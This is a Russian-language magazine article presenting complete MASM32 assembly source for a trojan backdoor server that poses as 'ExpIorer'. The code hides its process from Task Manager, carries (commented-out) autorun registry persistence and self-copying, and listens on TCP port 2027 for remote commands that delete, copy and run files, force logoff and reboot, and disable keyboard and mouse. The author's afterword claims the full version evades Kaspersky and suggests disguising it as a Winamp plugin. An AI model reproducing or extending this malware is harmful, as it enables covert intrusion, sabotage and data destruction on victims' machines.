А теперь перейдём к очередной проге — серверу
простой (но это ещё не значит малофункциональной)
системы удаленного администрирования:

;ТРОJAN.asm
;о назначении этого заголовка смотри предыдущую статью
.486
.model flat,stdcall
option casemap:none

include \masm32\include\winmm.inc
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\wsock32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\advapi32.inc
include \masm32\include\shell32.inc
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\wsock32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\winmm.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
SetRegKeysz PROTO :DWORD,:DWORD,:DWORD,:DWORD
SetRegKeyDW PROTO :DWORD, :DWORD, :DWORD
GetRegKeyDW PROTO :DWORD, :DWORD, :DWORD
send_LB_shit_2_client PROTO :DWORD,:DWORD

; ——
; инициализированные данные
; ——

.DATA
IDC_LB equ 3000 ;идентификатор окна списка
WM_SOCKET equ WM_USER + 100 ;назначим сообщение для сокета
ClassName db «StupidBlowMyDickClass»,0 ;название класса окна
AppName db «ExpIorer»,0 ;название нашего EXE-шника
IconName db «TDIcon»,0 ;иконка проги
lstBox db «LISTBOX»,0 ;назв. окна списка (см. далее — зачем)
Port dd 2027 ;догадались?
succ db «SUCCESSFULL!»,0
wsadata WSADATA <> ;структуры необходимые при работе с Winsock
sin sockaddr_in <>
StartupInfo STARTUPINFO <> ;некоторая доп. информация о процессе
ProcessInfo PROCESS_INFORMATION <>

;ключ автозапуска прог в Винде
szKeyName db «Software\Microsoft\Windows\CurrentVersion\Run\»,0
szKeyName1 db «Software\TrojanSoftware\»,0
szStringValue db «ExpIorer»,0 ;информация для записи в реестр
RegistryText db «ExpIorer.exe» ,0
szDWValue db «YUCKFOU»,0
DubWord dd 12345678H
szBigBuffer db » «,0
dwBBufLength DWORD SIZEOF szBigBuffer + 1
kernel32 db «kernel32.dll», 0 ;имя файла ядра системы
func db «RegisterServiceProcess», 0 ;имя функции, используемой нами для
;сокрытия проги из списка @ Ctrl+Alt+Del
cdopen db «set CDAudio door open»,0 ; команда мультимедиа у-ву на извлечение
cdclose db «set CDAudio door closed»,0 ;..и на закрытие (зд. = CD-ROM)
bkl db «\»,0 ;обратный слеш для формирования пути
wcs db «*.*»,0 ;все файлы, для отображения в списке
opr db «open»,0
crash_str db «rundll32.exe user,disableoemlayer»,0 ;демонстрация пустого экрана
keyoff_str db «rundll32.exe keyboard,disable»,0 ;ф-ия отключения клавы
mouseoff_str db «rundll32.exe mouse,disable»,0 ;..и мыши

; ——
; неинициализированные данные
; ——

.DATA?
LBPOINT dd ?
Bufcmd dd ?
path db 500 dup (?)
fname db 256 dup (?)
ThisFile db 256 dup (?)
SD db 256 dup (?)
cmd1 db 300 dup (?)
cmd2 db 300 dup (?)
cmd db ?
c1len db ?
c2len db ?
hInstance dd ?
CommandLine dd ?
sock dd ?
client dd ?
DubWordBack dd ?
BIGBUFFER db 10000 dup (?)
FILEN db 00256 dup (?)
LBCOUNT dd ?
LBLEN dd ?

; ——
; раздел кода
; ——

;я старался не пояснять функции имена которых говорят сами за себя 😉 типа FindWindow
;.. английский надо всё таки учить :] ..

.CODE
start: invoke FindWindow,0,addr AppName ;проверка на наличие уже запу-
cmp eax,0 ;щенного трояна по имени окна
jnz quit
invoke GetModuleHandle, ADDR kernel32 ;прячем процесс (ищем адрес
or eax,eax ;нужной функции и запускаем её)
jz continue
invoke GetProcAddress, eax, ADDR func
or eax, eax
jz continue ;не удалось? .. проехали ..
push 1
push 0
call eax
continue:
;закомментировано в целях отладки 🙂 ..
;самый простой метод инсталляции трояна — пишем его в автозапуск из реестра
; invoke GetRegKeyDW, ADDR DubWordBack, ADDR szKeyName1, ADDR szDWValue
; mov eax,DubWordBack
;.IF eax != DubWord ;если ещё не проинсталлировали
; invoke SetRegKeyDW , ADDR DubWord, ADDR szKeyName1, ADDR szDWValue
; cmp eax,ERROR_SUCCESS
; jnz normal
; invoke SetRegKeysz , ADDR RegistryText, ADDR szKeyName,\
; ADDR szStringValue, SIZEOF szStringValue
; cmp eax,ERROR_SUCCESS
; jnz normal
;и копируем троян в системную папку Винды .. под именем ExpIorer.exe (I — не L 🙂
; invoke GetSystemDirectory,addr SD,sizeof SD
; invoke lstrcat,addr SD,addr bkl ;склеивание строк
; invoke lstrcat,addr SD,addr RegistryText
; invoke GetModuleFileName,NULL,addr ThisFile,sizeof ThisFile
; invoke CopyFile,addr ThisFile,addr SD,FALSE
;.ENDIF
;запускаем нашу прогу ..
normal: invoke GetModuleHandle, NULL ;см. в пред. статье
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
quit: invoke ExitProcess,eax

; ——
; основная процедура проги
; ——

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
;создадим и зарегистрируем класс нашего окна, но отображать его не будем 😉
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,hInstance,addr IconName
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,0,\
0,300,300,NULL,NULL,\
hInst,NULL
mov hwnd,eax ;сохраним идентификатор нашего окна
; а может всё-таки отобразим 🙂 ?
; invoke ShowWindow, hwnd,SW_SHOWNORMAL
; invoke UpdateWindow, hwnd

;инициализируем библиотеку сетевого интерфейса WinSock 1.1
invoke WSAStartup,101h,addr wsadata
;создадим новый сокет (некий объект для получения доступа к сети)
;и пусть этот сокет будет работать по протоколу TCP
invoke socket,AF_INET,SOCK_STREAM,0
mov sock,eax ;сохраним его идентификатор ..

;пусть наш сокет будет оповещать(сообщениями) наше окно о своём статусе
;сообщение- WM_SOCKET, события — принятие нового входящего соединения и
;готовность к чтению (FD_ACCEPT и FD_READ)
invoke WSAAsyncSelect,sock,hwnd,WM_SOCKET,FD_ACCEPT+FD_READ

;заполним структуру адреса нашего сокета (sockaddr_in)
mov sin.sin_family,AF_INET ;форма записи адресов — Интернет адреса
invoke htons,Port ;преобразуем номер порта
mov sin.sin_port,ax ;заполним номер порта
mov sin.sin_addr,INADDR_ANY ;принимаем соединения с любого подходящего
;сетевого интерфейса..

;сопоставим нашему сокету локальный адрес
invoke bind, sock,addr sin,sizeof sin
invoke listen,sock,15 ;переходим в режим ожидания соединения

;запуск цикла обработки оконных сообщений
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
;выходим
ret
WinMain endp

; ——
; процедура обработки сообщений Винды (‘оконная’ процедура)
; ——

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

; ——
; создадим (скрытое) окно списка файлов для наших целей 🙂
; ——

.IF uMsg == WM_CREATE
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR lstBox,0,WS_VSCROLL or \
WS_VISIBLE or WS_BORDER or WS_CHILD or LBS_HASSTRINGS or LBS_SORT or \
LBS_NOINTEGRALHEIGHT or LBS_DISABLENOSCROLL,20,20,200,200,hWnd,
IDC_LB,hInstance,NULL
;заставим его отображать список всех дисков, файлов и директорий
invoke SendDlgItemMessage,hWnd,IDC_LB,LB_DIR,DDL_ARCHIVE+DDL_DIRECTORY+ \
DDL_DRIVES+DDL_HIDDEN+DDL_READONLY+DDL_READWRITE+DDL_SYSTEM,addr wcs

; ——
; проверим, а не закрылось ли это окно
; ——

.ELSEIF uMsg == WM_DESTROY
invoke closesocket,sock
invoke WSACleanup
invoke PostQuitMessage,NULL

; ——
; получили какие-то сообщения от сокета?
; ——

.ELSEIF uMsg == WM_SOCKET
mov eax,lParam

; ——
; кто-то стучится до нашего сервака ..
; ——

.IF ax == FD_ACCEPT
shr ax,16
.IF ax == NULL
invoke accept,sock,0,0 ;принимаем входящее соединение
mov client,eax ;сохраним ‘идентификатор’ соединения
invoke GetCurrentDirectory,sizeof path,addr path
invoke lstrlen,addr path ;длина текущего пути
.IF eax != 3 ;если не корень диска ..
invoke lstrcat,addr path,addr bkl ;добавляем к пути обратный слеш
.ENDIF
;посылаем листинг текущей директории
invoke send_LB_shit_2_client,hWnd,client
.ENDIF

; ——
; клиент нам чего-то заслал .. разбираемся
; ——

.ELSEIF ax == FD_READ
mov ecx,10000 ; очищаем буфер приёма
mov edi,OFFSET BIGBUFFER ;.. на всякий случай ..
lll: mov byte ptr [edi],0
inc edi
loop lll

mov eax,wParam ;получим ‘идентификатор’ соединения
mov client,eax
invoke recv,eax,addr BIGBUFFER,600,0 ;примем 600 байт данных в BIGBUFFER
.IF eax == SOCKET_ERROR ;ошибка?
invoke recv,eax,addr BIGBUFFER,600,0 ;повторим?
.ENDIF
.IF eax != SOCKET_ERROR ;если получилось — продолжим
mov edi,OFFSET BIGBUFFER ;получим адрес буффера
cmp dword ptr [edi],»ELIF» ;в начале комманда FILE?
jnz normalcmd ;нет? тогда это простая комманда
add edi,4 ;cдвинем адрес начала буфера за FILE
invoke lstrcpy,addr path,edi ;скопируем всё что далее в path
push edi ;сбросим содержимое окна
invoke SendDlgItemMessage,hWnd,IDC_LB,LB_RESETCONTENT,0,0
pop edi ;cфорируем списки ф-ов по новому пути
invoke DlgDirList,hWnd,edi,IDC_LB,NULL,DDL_ARCHIVE+DDL_DIRECTORY+ \
DDL_DRIVES+DDL_HIDDEN+DDL_READONLY+DDL_READWRITE+DDL_SYSTEM
.IF eax == NULL ;отобразим их в нашем окне
invoke SendDlgItemMessage,hWnd,IDC_LB,LB_DIR,DDL_ARCHIVE+DDL_DIRECTORY+ \
DDL_DRIVES+DDL_HIDDEN+DDL_READONLY+DDL_READWRITE+DDL_SYSTEM,addr wcs
;определим текущую директорию
invoke GetCurrentDirectory,sizeof path,addr path
invoke lstrlen,addr path ;получим длину пути
.IF eax != 3 ;не корень? добавим ‘\’
invoke lstrcat,addr path,addr bkl
.ENDIF
invoke lstrcat,addr path,addr bkl
.ENDIF
invoke send_LB_shit_2_client,hWnd,client ;посылаем листинг текущей директории
jmp filetrans

;перешлём строку-признак успеха соединения и выполним простую
команду
normalcmd: invoke send,client,addr succ,sizeof succ,0
mov edi,OFFSET BIGBUFFER ;получим адрес нашего буфера
mov Bufcmd,edi ;скопируем его в BufCmd
add Bufcmd,3 ;пусть BufCmd указывает на 4ый байт буфера
mov al,byte ptr [edi] ;запишем в Cmd первый байт из буфера (основная
mov cmd,al ;комманда)
mov al,byte ptr [edi+1]
inc al
mov c1len,al ;в c1len-2ой (длина 1го параметра(cmd1)
команды)
mov al,byte ptr [edi+2]
inc al
mov c2len,al ;в c2len-3ий (длина 2го параметра(cmd2)
команды)

invoke lstrcpyn,addr cmd1,Bufcmd,c1len ;скопируем c1len байт из BufCmd в сmd1
invoke lstrlen,addr cmd1 ;определим длину строки первого параметра
add eax,OFFSET cmd1 ;в еах — адрес cmd1 + длина строки
mov byte ptr [eax],0 ;запишем туда 0 (нуль-терминатор(конец) строки)
xor eax,eax ;сбросим еах
mov al,c1len ;длину первого параметра в al
add Bufcmd,eax ;eax указывает теперь на начало второго параметра
dec Bufcmd
invoke lstrcpyn,addr cmd2,Bufcmd,c2len ;аналогично считаем данные второго параметра
invoke lstrlen,addr cmd2 ;в cmd2 и добавим 0 в конец
add eax,OFFSET cmd2
mov byte ptr [eax],0

.IF cmd == 1 ; === Вырубаем сервак ===
;invoke DeleteFile,addr SD ;удаляем файл
invoke SendMessage,hWnd,WM_DESTROY,0,0 ;закрываем окно
.ELSEIF cmd == 2 ; === окно сообщения ===
invoke MessageBox,0,addr cmd2,addr cmd1,MB_OK+MB_ICONHAND
.ELSEIF cmd == 3 ; === логофф юзера ===
invoke ExitWindowsEx,EWX_FORCE,0
.ELSEIF cmd == 4 ; === ПЕРЕЗАГРУЗКА ===
invoke ExitWindowsEx,EWX_REBOOT,0
.ELSEIF cmd == 5 ; === очистка буф.обмена ===
invoke GetOpenClipboardWindow
invoke OpenClipboard,eax
invoke EmptyClipboard
invoke CloseClipboard
.ELSEIF cmd == 6 ; === запуск проги ===
invoke lstrcpy,addr BIGBUFFER,addr cmd1
invoke lstrlen,addr BIGBUFFER
add eax,OFFSET BIGBUFFER
mov word ptr [eax],00020h ;20h — символ ‘пробел’ перед параметром проги
invoke lstrcat,addr BIGBUFFER,addr cmd2
invoke CreateProcess, NULL, addr BIGBUFFER, NULL, NULL,
FALSE, NORMAL_PRIORITY_CLASS, NULL,NULL,
offset StartupInfo, offset ProcessInfo
.ELSEIF cmd == 7 ; === удаление ===
invoke DeleteFile,addr cmd1
.ELSEIF cmd == 8 ; === копирование ===
invoke CopyFile,addr cmd1,addr cmd2,FALSE
.ELSEIF cmd == 9 ; === перемещение ===
invoke MoveFile,addr cmd1,addr cmd2
.ELSEIF cmd == 10 ; === не включены ===
.ELSEIF cmd == 11
.ELSEIF cmd == 12 ; === БИ-И-И-ИП ===
invoke atodw,addr cmd1 ;atodw — Текст->Число
mov ecx,eax
mbloop: push ecx
invoke MessageBeep,0FFFFFFFFh ;0XXh- правильная форма записи XXh на асме
pop ecx
loop mbloop
.ELSEIF cmd == 13 ; === закрыть окно ===
invoke GetForegroundWindow
invoke SendMessage,eax,WM_CLOSE,0,0
.ELSEIF cmd == 14 ; ===открыть/закрыть CD ===
invoke mciSendString,ADDR cdopen,NULL,0,0
invoke mciSendString,ADDR cdclose,NULL,0,0
.ELSEIF cmd == 15 ; === свернуть окно ===
invoke GetForegroundWindow
push eax
invoke IsIconic,eax
cmp eax,0
jnz nope
pop eax
invoke CloseWindow,eax
nope:
.ELSEIF cmd == 16 ; === запуск из оболочки ===
;можно открыть любой сопоставленный файл, нп. *.doc
invoke ShellExecute,NULL,NULL,addr cmd1,NULL,NULL,SW_SHOWNORMAL
.ELSEIF cmd == 17 ; === тёмный экранчик ===
invoke WinExec,addr crash_str,SW_HIDE;
.ELSEIF cmd == 18 ; === вырубим клавиатуру ===
invoke WinExec,addr keyoff_str,SW_HIDE;
.ELSEIF cmd == 19 ; === а потом и мышь ===
invoke WinExec,addr mouseoff_str,SW_HIDE;
.ENDIF ; === а потом и юзверя ;] ===
filetrans: ; MessageBox->This is a DEMO Version of trojan
.ENDIF
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

; ——
; пишем строковое значение в раздел реестра [no comments, RTFM]
; ——
SetRegKeysz PROC lpszString:DWORD, lpszKeyName:DWORD, lpszValueName:DWORD, dwStringLength
LOCAL Disp :DWORD
LOCAL pKey :DWORD
invoke RegCreateKeyEx, HKEY_LOCAL_MACHINE,lpszKeyName, NULL, NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS, NULL,addr pKey, addr Disp
.IF eax == ERROR_SUCCESS
invoke RegSetValueEx, pKey, lpszValueName, NULL, REG_SZ,
lpszString, dwStringLength
invoke RegCloseKey, pKey
.ENDIF
ret
SetRegKeysz ENDP

; ——
; пишем двоичное значение в раздел реестра
; ——
SetRegKeyDW PROC lpdwValue:DWORD, lpszKeyName:DWORD, lpszValueName:DWORD
LOCAL Disp :DWORD
LOCAL pKey :DWORD
DW_SIZE EQU 4
invoke RegCreateKeyEx, HKEY_LOCAL_MACHINE,lpszKeyName, NULL, NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS, NULL,addr pKey, addr Disp
.IF eax == ERROR_SUCCESS
invoke RegSetValueEx,pKey,lpszValueName,NULL,REG_DWORD_LITTLE_ENDIAN,
lpdwValue, DW_SIZE
invoke RegCloseKey, pKey
.ENDIF
ret
SetRegKeyDW ENDP

; ——
; читаем значение из заданного раздела реестра
; ——
GetRegKeyDW PROC lpdwValue:DWORD, lpszKeyName:DWORD, lpszValueName:DWORD
LOCAL Temp :DWORD
LOCAL pKey :DWORD
LOCAL DWordSize:DWORD
DW_SIZE EQU 4
mov DWordSize, DW_SIZE
invoke RegCreateKeyEx,HKEY_LOCAL_MACHINE,lpszKeyName,NULL,NULL,
REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,addr pKey,addr Temp
.IF eax == ERROR_SUCCESS
mov eax, REG_DWORD
mov Temp, eax
invoke RegQueryValueEx, pKey, lpszValueName,NULL, ADDR Temp,
lpdwValue, ADDR DWordSize
invoke RegCloseKey, pKey
.ENDIF
ret
GetRegKeyDW ENDP

; ——
; процедура отсылания списка файлов клиенту
; ——
send_LB_shit_2_client PROC mhWnd:DWORD, mclient:DWORD
;получим число элементов в нашем окне списка ..
invoke SendDlgItemMessage,mhWnd,IDC_LB,LB_GETCOUNT,0,0
dec eax
mov LBCOUNT,eax ;это число теперь в LBCOUNT
mov edi,OFFSET BIGBUFFER ;в edi адрес буфера
mov dword ptr [edi ],»ELIF» ;пишем FILE в начало
mov eax,LBCOUNT
mov dword ptr [edi+5],eax ;пишем после ‘FILE ‘ размер списка
invoke lstrlen,addr path ; определяем длину текущего пути
inc eax
push eax
mov edi,OFFSET BIGBUFFER ;в edi адрес буфера
add edi,9 ;ставим указатель после FILE
длинна_сп
invoke lstrcpy,edi,addr path ;копируем туда текущий путь
pop eax
add eax,9 ;в eax длина данных в буфере+1
invoke send,mclient,addr BIGBUFFER,eax,0 ;шлём это всё клиенту
invoke Sleep,500 ;перекур на 500мс
push OFFSET BIGBUFFER ;LBPOINT=>начало буфера
pop LBPOINT
mov LBLEN,0 ;изначально длина данных в буфере = 0
mov ecx,10000 ;очистим буфер
mov edi,OFFSET BIGBUFFER
clearl: mov byte ptr [edi],0
inc edi
loop clearl
;самое интересное
;1ое — получаем в FILEN имя файла с индексом LBCOUNT из окна списка
lloop: invoke SendDlgItemMessage,mhWnd,IDC_LB,LB_GETTEXT,LBCOUNT,addr FILEN
inc eax ;прибавляем к длине имени файла 1
push eax
add LBLEN,eax ;прибавляем длине данных в буфере длину имени файла
cmp LBLEN,10000 ;буфер исчерпан?
jge errorquit ;пошлём всё ;), не закончив ..
invoke lstrcpy,LBPOINT,addr FILEN ;запишем текущее имя файла по адресу LBPOINT
pop eax
add LBPOINT,eax ;прибавим к адресу длину имени файла
dec LBCOUNT ;уменьшим индекс (№ эл-та списка) на 1
cmp LBCOUNT,-1 ;конец списка? нет — продолжим
jnz lloop
;шлём буфер BIGBUFFER длиной LBLEN клиенту
errorquit: invoke send,mclient,addr BIGBUFFER,LBLEN,0
ret
send_LB_shit_2_client ENDP
END start

… ;продолжение следует ..

ЗЫ: Ну вот и всё, пока что, насчёт отсутствия функций приёма и передачи файлов скажу одно — кому это реально надо .. они сами найдут подходящие алгоритмы .. кстати несколько идей по поводу сервера.. забавной и удобной фишкой является добавление небольшого WEB сервера с поддержкой докачки 😉 ..
Установка сервера приведённая здесь проста и отличается от продвинутых троянов лишь необходимостью переставлять Винду после их обнаружения (кстати .. полная версия сего трояна не видна KAV’у до сих пор.) ..
Так же довольно прикольно добавление трояна в качестве плагина к Винампу ..
Редко видел людей подозревающих Винамп в ‘предательстве’ .. и последняя фишка .. поддержка оповещения .. скажем по почте/SMS :] .. список же эффектов, подлежащих исполнению на сервере, ограничивается только вашим воображением, и ГЛАВНОЕ — не стоит дубасить комп заражённого кучей мессаг и
пересылкой ему своего любимого музона в WAV формате с воспроизведение его через PC-спикер, хотя бы из этики ..

BRg, LTrapper

Оставить мнение

Check Also

Безопасность превыше всего. 9 простых трюков, которые сделают жизнь линуксоида секьюрнее

Жизнь обычных людей складывается из мелочей. Жизнь линуксоида складывается из множества ма…